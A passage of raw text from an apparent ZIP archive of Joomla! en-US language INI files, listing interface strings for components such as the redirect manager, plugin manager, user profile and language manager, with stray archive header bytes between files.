uncommenting, do NOT translate PLG_RECAPTCHA_CUSTOM_LANG ; As of 01/01/2012, the following languages do not need translation: en, nl, fr, de, pt, ru, es, tr ;PLG_RECAPTCHA_CUSTOM_LANG="true" ;PLG_RECAPTCHA_INSTRUCTIONS_VISUAL="Type the two words:" ;PLG_RECAPTCHA_INSTRUCTIONS_AUDIO="Type what you hear:" ;PLG_RECAPTCHA_PLAY_AGAIN="Play sound again" ;PLG_RECAPTCHA_CANT_HEAR_THIS="Download sound as MP3" ;PLG_RECAPTCHA_VISUAL_CHALLENGE="Get a visual challenge" ;PLG_RECAPTCHA_AUDIO_CHALLENGE="Get an audio challenge" ;PLG_RECAPTCHA_REFRESH_BTN="Get a new challenge" ;PLG_RECAPTCHA_HELP_BTN="Help" ;PLG_RECAPTCHA_INCORRECT_TRY_AGAIN="Incorrect. Try again." PK@y>\S<<#language/en-US/en-US.mod_logged.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Logged-in Users" MOD_LOGGED_ADMINISTRATOR="Administrator" MOD_LOGGED_EDIT_USER="Edit user" MOD_LOGGED_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_LOGGED_FIELD_COUNT_LABEL="Count" MOD_LOGGED_FIELD_NAME_DESC="Displays name or user name" MOD_LOGGED_LAST_ACTIVITY="Last Activity" MOD_LOGGED_LOGOUT="Logout" MOD_LOGGED_NAME="Name" MOD_LOGGED_SITE="Site" MOD_LOGGED_TITLE="Last Logged-in Users" MOD_LOGGED_TITLE_1="Last Logged-in User" MOD_LOGGED_TITLE_MORE="Last %s Logged-in Users" MOD_LOGGED_XML_DESCRIPTION="This Module shows a list of the currently Logged-in Users" PK@y>\Vlanguage/en-US/index.htmlnuW+A PK@y>\}8##*language/en-US/en-US.tpl_bluestork.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 BLUESTORK="Bluestork Administrator Template" TPL_BLUESTORK_POSITION_CPANEL="Control Panel" TPL_BLUESTORK_POSITION_CP_SHELL="Unused" TPL_BLUESTORK_POSITION_DEBUG="Debug" TPL_BLUESTORK_POSITION_FOOTER="Footer" TPL_BLUESTORK_POSITION_ICON="Quick Icons" TPL_BLUESTORK_POSITION_LOGIN="Login" TPL_BLUESTORK_POSITION_MENU="Menu" TPL_BLUESTORK_POSITION_STATUS="Status" TPL_BLUESTORK_POSITION_SUBMENU="Submenu" TPL_BLUESTORK_POSITION_TITLE="Title" TPL_BLUESTORK_POSITION_TOOLBAR="Toolbar" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork is a template for the Joomla administrator (backend)."PK@y>\^P\Lz;ޜ/language/en-US/en-US.plg_content_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Content - Joomla" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Does category processing for core extensions; sends an email when a new article is submitted in the frontend."PK@y>\ی99&language/en-US/en-US.com_cache.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Cache Manager" COM_CACHE_XML_DESCRIPTION="Component for cache management" PK@y>\`G(language/en-US/en-US.com_wrapper.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Wrapper" COM_WRAPPER_XML_DESCRIPTION="Displays an iframe to wrap an external page or site into Joomla!" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Displays a URL in an Iframe" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION="Default" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE="Iframe Wrapper" PK@y>\Md4language/en-US/en-US.plg_authentication_ldap.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Authentication - LDAP" PLG_LDAP_XML_DESCRIPTION="Handles User Authentication against an LDAP server
            Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PK@y>\գ<0.language/en-US/en-US.plg_system_logout.sys.ininuW+A; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="The system logout plug-in enables Joomla to redirect the user to the home page if he chooses to logout while he is on a protected access page." PLG_SYSTEM_LOGOUT="System - Logout" PK@y>\7Z&language/en-US/en-US.mod_login.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN_XML_DESCRIPTION="This module displays a username and password login form. It cannot be unpublished." MOD_LOGIN="Login Form" MOD_LOGIN_LAYOUT_DEFAULT="Default" PK@y>\[ss%language/en-US/en-US.mod_menu.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Administrator Menu" MOD_MENU_XML_DESCRIPTION="This module shows the main admin navigation module" MOD_MENU_LAYOUT_DEFAULT="Default" PK@y>\ W%language/en-US/en-US.com_redirect.ininuW+A; @package Joomla.Administrator ; @subpackage com_redirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt" COM_REDIRECT="Redirect" COM_REDIRECT_BUTTON_UPDATE_LINKS="Update Links" COM_REDIRECT_CONFIGURATION="Redirect Manager Options" COM_REDIRECT_DETAILS="Details" COM_REDIRECT_DISABLE_LINK="Disable Link" COM_REDIRECT_EDIT_LINK="Edit Link #%d" COM_REDIRECT_ENABLE_LINK="Enable Link" COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED="The redirect must have a destination URL" COM_REDIRECT_ERROR_DUPLICATE_OLD_URL="The source URL must be unique." COM_REDIRECT_ERROR_DUPLICATE_URLS="The source and destination URLs cannot be the same." COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED="The redirect must have a source URL" COM_REDIRECT_FIELD_COMMENT_DESC="Sometimes it is helpful to describe the URLs for redirect management later on." COM_REDIRECT_FIELD_COMMENT_LABEL="Comment" COM_REDIRECT_FIELD_CREATED_DATE_LABEL="Created Date" COM_REDIRECT_FIELD_NEW_URL_DESC="Enter here the URL to be redirected to." COM_REDIRECT_FIELD_NEW_URL_LABEL="Destination URL" COM_REDIRECT_FIELD_OLD_URL_DESC="Enter here the URL that has to be redirected." COM_REDIRECT_FIELD_OLD_URL_LABEL="Source URL" COM_REDIRECT_FIELD_REFERRER_LABEL="Link Referrer" COM_REDIRECT_FIELD_UPDATED_DATE_LABEL="Last Updated Date" COM_REDIRECT_HEADING_CREATED_DATE="Created Date" COM_REDIRECT_HEADING_HITS="404 Hits" COM_REDIRECT_HEADING_NEW_URL="New URL" COM_REDIRECT_HEADING_OLD_URL="Expired URL" COM_REDIRECT_HEADING_REFERRER="Referring Page" COM_REDIRECT_HEADING_UPDATE_LINKS="Update selected links to the following new URL" COM_REDIRECT_MANAGER_LINK="Redirect Manager: Link" COM_REDIRECT_MANAGER_LINKS="Redirect Manager: Links" COM_REDIRECT_N_ITEMS_ARCHIVED="%d links successfully archived" COM_REDIRECT_N_ITEMS_ARCHIVED_1="Link successfully archived" COM_REDIRECT_N_ITEMS_DELETED="%d links successfully deleted" COM_REDIRECT_N_ITEMS_DELETED_1="Link successfully deleted" COM_REDIRECT_N_ITEMS_PUBLISHED="%d links successfully enabled" COM_REDIRECT_N_ITEMS_PUBLISHED_1="Link successfully enabled" COM_REDIRECT_N_ITEMS_TRASHED="%d links successfully trashed" COM_REDIRECT_N_ITEMS_TRASHED_1="Link successfully trashed" COM_REDIRECT_N_ITEMS_UNPUBLISHED="%d links successfully disabled" COM_REDIRECT_N_ITEMS_UNPUBLISHED_1="Link successfully disabled" COM_REDIRECT_N_LINKS_UPDATED="%d links updated." COM_REDIRECT_N_LINKS_UPDATED_1="One link has been updated" COM_REDIRECT_NEW_LINK="New Link" COM_REDIRECT_NO_ITEM_SELECTED="No links selected" COM_REDIRECT_OPTIONS="Options" COM_REDIRECT_PLUGIN_DISABLED="The Redirect Plug-in is disabled. Enable it in the Plug-in Manager." COM_REDIRECT_PLUGIN_ENABLED="The Redirect Plug-in is enabled." COM_REDIRECT_REDIRECTED_ON="Redirected on: %s." COM_REDIRECT_SAVE_SUCCESS="Link successfully saved" COM_REDIRECT_SEARCH_LINKS="Search in link fields." COM_REDIRECT_XML_DESCRIPTION="This component implements link redirection" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\Z)language/en-US/en-US.plg_content_vote.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Content - Vote" PLG_VOTE_BEST="Best" PLG_VOTE_POOR="Poor" PLG_VOTE_RATE="Rate" PLG_VOTE_USER_RATING="User Rating: %1$s / %2$s" PLG_VOTE_VOTE="Vote %s" PLG_VOTE_XML_DESCRIPTION="Add the Voting functionality to Articles" PK@y>\CBՒ,language/en-US/en-US.plg_finder_contacts.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Smart Search - Contacts" PLG_FINDER_CONTACTS_XML_DESCRIPTION="This plugin indexes Joomla! Contacts." PLG_FINDER_QUERY_FILTER_BRANCH_S_CONTACT="Contact" PLG_FINDER_QUERY_FILTER_BRANCH_S_REGION="Region" PLG_FINDER_QUERY_FILTER_BRANCH_S_COUNTRY="Country" PLG_FINDER_QUERY_FILTER_BRANCH_P_CONTACT="Contacts" PLG_FINDER_QUERY_FILTER_BRANCH_P_REGION="Regions" PLG_FINDER_QUERY_FILTER_BRANCH_P_COUNTRY="Countries" PK@y>\2K/language/en-US/en-US.plg_content_loadmodule.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Content - Load Modules" PLG_LOADMODULE_FIELD_STYLE_DESC="Code that will wrap Modules" PLG_LOADMODULE_FIELD_STYLE_LABEL="Style" PLG_LOADMODULE_FIELD_VALUE_DIVS="Wrapped by Divs" PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL="Wrapped by table (horizontal)" PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS="Wrapped by Multiple Divs" PLG_LOADMODULE_FIELD_VALUE_RAW="No wrapping (raw output)" PLG_LOADMODULE_FIELD_VALUE_TABLE="Wrapped by table (column)" PLG_LOADMODULE_XML_DESCRIPTION="Within content loads Module positions, Syntax: {loadposition user1} or Modules by name, Syntax: {loadmodule mod_login}. Optionally can specify module style and for loadmodule a specific module title." PK@y>\Y|EE-language/en-US/en-US.plg_editors_none.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - None" PLG_NONE_XML_DESCRIPTION="This loads a basic text entry field." PK@y>\Uqtt0language/en-US/en-US.mod_multilangstatus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters." PK@y>\*ff.language/en-US/en-US.plg_finder_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Smart Search - Categories" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="This plugin indexes Joomla! Categories." PK@y>\l96language/en-US/en-US.plg_system_languagefilter.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="System - Language Filter" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="This plugin filters the displayed content depending on language." PK@y>\ /& & $language/en-US/en-US.com_plugins.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Plugins Manager" COM_PLUGINS_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Options" COM_PLUGINS_CONFIGURATION="Plug-in Manager Options" COM_PLUGINS_ELEMENT_HEADING="Element" COM_PLUGINS_ERROR_FILE_NOT_FOUND="The file %s could not be found." COM_PLUGINS_FIELD_ELEMENT_DESC="Plugin folder and main file name" COM_PLUGINS_FIELD_ELEMENT_LABEL="Plug-in File" COM_PLUGINS_FIELD_ENABLED_DESC="The enabled status of this plugin" COM_PLUGINS_FIELD_FOLDER_DESC="Category/folder of plugins this plugin belongs to." COM_PLUGINS_FIELD_FOLDER_LABEL="Plug-in Type" COM_PLUGINS_FIELD_NAME_DESC="The name of the plugin as defined in its xml" COM_PLUGINS_FIELD_NAME_LABEL="Plug-in Name" COM_PLUGINS_FOLDER_HEADING="Type" COM_PLUGINS_MANAGER_PLUGIN="Plug-in Manager: %s" COM_PLUGINS_MANAGER_PLUGINS="Plug-in Manager: Plug-ins" COM_PLUGINS_MSG_MANAGE_NO_PLUGINS="There are no plugins installed matching your query" COM_PLUGINS_N_ITEMS_CHECKED_IN_0="No plugin successfully checked in" COM_PLUGINS_N_ITEMS_CHECKED_IN_1="%d plugin successfully checked in" COM_PLUGINS_N_ITEMS_CHECKED_IN_MORE="%d plugins successfully checked in" COM_PLUGINS_N_ITEMS_PUBLISHED="%d plugins successfully enabled" COM_PLUGINS_N_ITEMS_PUBLISHED_1="Plugin successfully enabled" COM_PLUGINS_N_ITEMS_UNPUBLISHED="%d plugins successfully disabled" COM_PLUGINS_N_ITEMS_UNPUBLISHED_1="Plugin successfully disabled" COM_PLUGINS_NAME_HEADING="Plug-in Name" COM_PLUGINS_NO_ITEM_SELECTED="No plugins selected" COM_PLUGINS_OPTION_FOLDER="- Select Type -" COM_PLUGINS_SAVE_SUCCESS="Plugin successfully saved" COM_PLUGINS_SEARCH_IN_TITLE="Search in plug-in title." COM_PLUGINS_XML_DESCRIPTION="This component manages Joomla! plugins" COM_PLUGINS_XML_ERR="Plugins XML data not available" JLIB_HTML_PUBLISH_ITEM="Enable plugin" JLIB_HTML_UNPUBLISH_ITEM="Disable plugin" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\E̕  #language/en-US/en-US.mod_custom.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Custom HTML" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Optionally prepare the content with the Joomla Content Plug-ins." MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Prepare Content" MOD_CUSTOM_XML_DESCRIPTION="This Module allows you to create your own HTML Module using a WYSIWYG editor."PK@y>\O$ N2language/en-US/en-US.plg_editors-xtd_pagebreak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Button - Pagebreak" PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK="Page Break" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Provides a button to enable a pagebreak to be inserted into an Article. A popup allows you to configure the settings to be used." PK@y>\, )language/en-US/en-US.plg_user_profile.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT_CHANGE_ARTICLE="Select or Change article" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change" COM_CONTENT_SELECT_AN_ARTICLE="Select an Article" PLG_USER_PROFILE="User - Profile" PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC="Choose an option for the field About Me." PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL="About Me:" PLG_USER_PROFILE_FIELD_ADDRESS1_DESC="Choose an option for the field Address1" PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL="Address 1:" PLG_USER_PROFILE_FIELD_ADDRESS2_DESC="Choose an option for the field Address2" PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL="Address 2:" PLG_USER_PROFILE_FIELD_CITY_DESC="Choose an option for the field City" PLG_USER_PROFILE_FIELD_CITY_LABEL="City:" PLG_USER_PROFILE_FIELD_COUNTRY_DESC="Choose an option for the field Country" PLG_USER_PROFILE_FIELD_COUNTRY_LABEL="Country:" PLG_USER_PROFILE_FIELD_DOB_DESC="Choose an option for the field Date of Birth" PLG_USER_PROFILE_FIELD_DOB_LABEL="Date of Birth:" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC="Choose an option for the field Favourite Book" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL="Favourite Book:" PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER="User profile fields for profile edit form" PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER="User profile fields for registration and administrator user forms" PLG_USER_PROFILE_FIELD_PHONE_DESC="Choose an option for the field Phone" PLG_USER_PROFILE_FIELD_PHONE_LABEL="Phone:" PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC="Choose an option for the field Postal Code" PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL="Postal / ZIP Code:" PLG_USER_PROFILE_FIELD_REGION_DESC="Choose an option for the field Region" PLG_USER_PROFILE_FIELD_REGION_LABEL="Region:" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC="Select the desired Terms of Service article from the list" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL="Select TOS Article:" PLG_USER_PROFILE_FIELD_TOS_DESC="Agree to terms of service" PLG_USER_PROFILE_FIELD_TOS_LABEL="Terms of Service:" PLG_USER_PROFILE_FIELD_WEB_SITE_DESC="Choose an option for the field Web Site" PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL="Web site:" PLG_USER_PROFILE_OPTION_AGREE="Agree" PLG_USER_PROFILE_SLIDER_LABEL="User Profile" PLG_USER_PROFILE_XML_DESCRIPTION="User Profile Plug-in" PK@y>\bc11&language/en-US/en-US.com_languages.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Language Manager" COM_LANGUAGES_CONFIGURATION="Language Manager Options" COM_LANGUAGES_ERR_DELETE="Select a language to delete" COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED="No Language Selected" COM_LANGUAGES_ERR_PUBLISH="Select a language to publish" COM_LANGUAGES_FIELD_DESCRIPTION_DESC="Enter here a description for the language" COM_LANGUAGES_FIELD_IMAGE_DESC="Prefix of the image file for this language when using the "_QQ_"Use image flags"_QQ_" Language Switcher basic option. Example: if 'en' is chosen, then the image shall be en.gif. Images and CSS for this module are in media/mod_languages/" COM_LANGUAGES_FIELD_IMAGE_LABEL="Image Prefix" COM_LANGUAGES_FIELD_LANG_TAG_DESC="Enter here the language tag – example: en-GB for English (UK). This should be the exact prefix used for the language installed or to be installed." COM_LANGUAGES_FIELD_LANG_TAG_LABEL="Language Tag" COM_LANGUAGES_INSTALL="Install Language" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_LABEL="For both locations" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_DESC="If this box is checked the override will be stored for both administrator (Backend) and site (Frontend). This is essential for creating language overrides for some plugins because their language files, while stored in backend, are also used in frontend (example: plg_content_vote).
            Please note that the two overrides will be completely independent from each other after storing them." COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL="Location" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC="Indicates whether the override is created for the site (Frontend) or administrator (Backend) client." COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL="File" COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC="Language overrides are stored in a specific INI file (as it's the case for the original texts, too). Here you can see in which file the current override is stored." COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL="Language" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC="Language for which the constant is overridden." COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL="Language Constant" COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC="The language constant of the string you want to override.
            Each language output text on your site is identified by a specific language constant which you have to use for creating an override of the text.
            If you don't know the corresponding constant you can search for text you want to change on the right. By clicking on the desired result the correct constant will automatically be inserted into the form." COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL="Text" COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC="Here you can enter the text which you want to be displayed instead of the overridden one.
            Please note that there may be placeholders (e.g. %s, %d or %1$s) in the text which could be important (they will be replaced by other texts afore displaying), so you should leave them in there." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL="Search Text" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC="Please enter the text to search for here. It may be in any of the language files." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL="Search for" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC="Here you can select whether you want to search for constant names or the values (thus the actual texts)." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT="Constant" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT="Value" COM_LANGUAGES_FIELD_PUBLISHED_DESC="Whether this content language is published or not. If published, it will display as a choice in the Language Switcher module in frontend." COM_LANGUAGES_FIELD_LANG_CODE_DESC="This Language Code will be appended to the site URL. When SEF is enabled, one will get http://mysite.com/en/. If SEF is disabled the suffix &lang=en will be appended at the end of the URL. Note the Language Code must be unique among all the languages." COM_LANGUAGES_FIELD_LANG_CODE_LABEL="URL Language Code" COM_LANGUAGES_FIELD_SITE_NAME_DESC="Enter here a custom site name for this content language. If the site name is set to display, this custom site name will be used instead of the Global Configuration setting." COM_LANGUAGES_FIELD_SITE_NAME_LABEL="Custom Site Name" COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL="Site Name" COM_LANGUAGES_FIELD_TITLE_DESC="The name of the language as it will appear in the lists" COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC="Title in Native language" COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL="Title Native" COM_LANGUAGES_FILTER_CLIENT_LABEL="Filter Location:" COM_LANGUAGES_FTP_DESC="For setting Languages as default, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_LANGUAGES_FTP_TITLE="FTP Login Details" COM_LANGUAGES_HEADING_AUTHOR_EMAIL="Author Email" COM_LANGUAGES_HEADING_DEFAULT="Default" COM_LANGUAGES_HEADING_LANG_IMAGE="Image Prefix" COM_LANGUAGES_HEADING_LANGUAGE="Language" COM_LANGUAGES_HEADING_NUM="Num" COM_LANGUAGES_HEADING_TITLE_NATIVE="Native Title" COM_LANGUAGES_HOMEPAGE="Home" COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED="Default Language Saved. This does not affect users that have chosen a specific language on their profile or on the login page.
            Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR="Some of the contacts linked to the user %s are incorrect." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP="Warning! A user/author should have only one contact to which is assigned language 'All' OR one contact for each published Content Language" COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED="Published Content Languages" COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE="A Default Home page is assigned to the %s Content Language although a Site Language for this Content Language is not installed AND/OR the Content Language is not published." COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING="This site is set as a multilanguage site. One or more of the Default Home pages for the published Content languages are missing although the Language Filter plugin is enabled OR/AND one or more Language Switcher modules are published" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED="Published Default Home pages" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL="1 assigned to language 'All'" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL="Published Default Home pages (including 1 assigned to language "All")" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED="Published Language Switcher Modules" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED="This site is set as a multilanguage site, at least one Language Switcher module set to language "All" has to be published. Disregard this message if you do not use a language switcher module but direct links." COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER="Language Filter Plugin" COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED="This site is set as a multilanguage site. The Languagefilter plugin is not enabled although one or more Language Switcher modules OR/AND one or more specific Content language Default Home pages are published." COM_LANGUAGES_MULTILANGSTATUS_NONE="This site is not set as a multilanguage site." COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED="Published Site Languages" COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES="This site is not set as a multilanguage site.
            Note: at least one Default Home page is assigned to a Content Language. This will not break a monolanguage site but is useless." COM_LANGUAGES_N_ITEMS_DELETED="%d Content Languages successfully deleted" COM_LANGUAGES_N_ITEMS_DELETED_1="%d Content Language successfully deleted" COM_LANGUAGES_N_ITEMS_PUBLISHED="%d Content Languages successfully published" COM_LANGUAGES_N_ITEMS_PUBLISHED_1="%d Content Language successfully published" COM_LANGUAGES_N_ITEMS_TRASHED="%d Content Languages successfully trashed" COM_LANGUAGES_N_ITEMS_TRASHED_1="%d Content Language successfully trashed" COM_LANGUAGES_N_ITEMS_UNPUBLISHED="%d Content Languages successfully unpublished.
            Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_N_ITEMS_UNPUBLISHED_1="%d Content Language successfully unpublished.
